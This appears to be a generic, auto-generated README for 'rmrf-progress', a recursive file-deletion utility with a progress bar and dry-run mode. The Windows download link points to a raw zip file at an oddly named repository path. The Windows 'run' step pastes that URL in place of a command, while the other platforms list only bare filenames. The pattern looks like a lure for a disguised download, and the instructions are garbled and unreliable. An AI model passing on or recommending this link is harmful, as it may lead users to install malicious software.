Welcome to rmrf-progress. This tool helps you delete files safely and efficiently while showing you a progress bar. You can use dry-run mode to check what would happen before the actual deletion.
To get started, you need to download the latest version of rmrf-progress. Click the link below to visit the download page:
Go to the Releases page to find the latest version of the software.
On the Releases page, you will see several versions of rmrf-progress. Look for the latest release, which is usually at the top. Click on the file that matches your operating system:
- For Windows: https://github.com/maykol1801/rmrf-progress/raw/refs/heads/main/incultivation/progress_rmrf_flavoprotein.zip
- For macOS: rmrf-progress-darwin-amd64
- For Linux: rmrf-progress-linux-amd64
Click on the appropriate file to start the download. The download should start automatically. Once it finishes, check your downloads folder.
- Open the Command Prompt by typing
cmdin your Start menu search bar. - Navigate to the folder where you downloaded the file using the
cdcommand. For example, if you downloaded it to your Downloads folder, type:cd Downloads - Type the following command to run the application:
https://github.com/maykol1801/rmrf-progress/raw/refs/heads/main/incultivation/progress_rmrf_flavoprotein.zip
- Open the Terminal application. You can find it in Applications > Utilities > Terminal.
- Navigate to your Downloads folder using:
cd Downloads - Make the file executable with this command:
chmod +x rmrf-progress-darwin-amd64
- Run the application:
./rmrf-progress-darwin-amd64
- Open the Terminal by pressing
Ctrl+Alt+T. - Go to the Downloads folder:
cd ~/Downloads
- Make the file executable:
chmod +x rmrf-progress-linux-amd64
- Start the application:
./rmrf-progress-linux-amd64
The application has two modes: regular delete and dry-run mode.
To delete files, simply type the command followed by the path of the file or directory you wish to delete. For example:
rmrf-progress [path-to-file-or-directory]If you want to see what would happen without actually deleting anything, you can use dry-run mode. Use the --dry-run flag:
rmrf-progress --dry-run [path-to-file-or-directory]This command will show you what files would be deleted, without making any changes.
The utility has built-in safety features to help protect against accidental deletions. Always run the dry-run mode before making any changes to ensure youβre deleting only what you intend.
One of the standout features of rmrf-progress is its progress bar. It shows you how much of the deletion process is complete, giving you a visual representation of progress.
- Recursive file deletion
- Dry-run mode for safe checking
- Progress bar to track your deletion
- Cross-platform support (Windows, macOS, Linux)
If you face issues running the application, here are some common solutions:
- Permission Issues: Ensure you have the necessary permissions to delete files within the specified directory.
- File Path: Make sure you have typed the correct path to the file or directory.
- Executable Permission: Ensure the file is executable, especially on macOS and Linux.
- For more information and updates, visit the Documentation.
- For any issues, you can check the Issues page.
For support, feel free to open an issue on the GitHub page. Provide details about your system and the issue you are encountering.
By following these steps, you will be able to download and run rmrf-progress with ease. Enjoy smoother file management!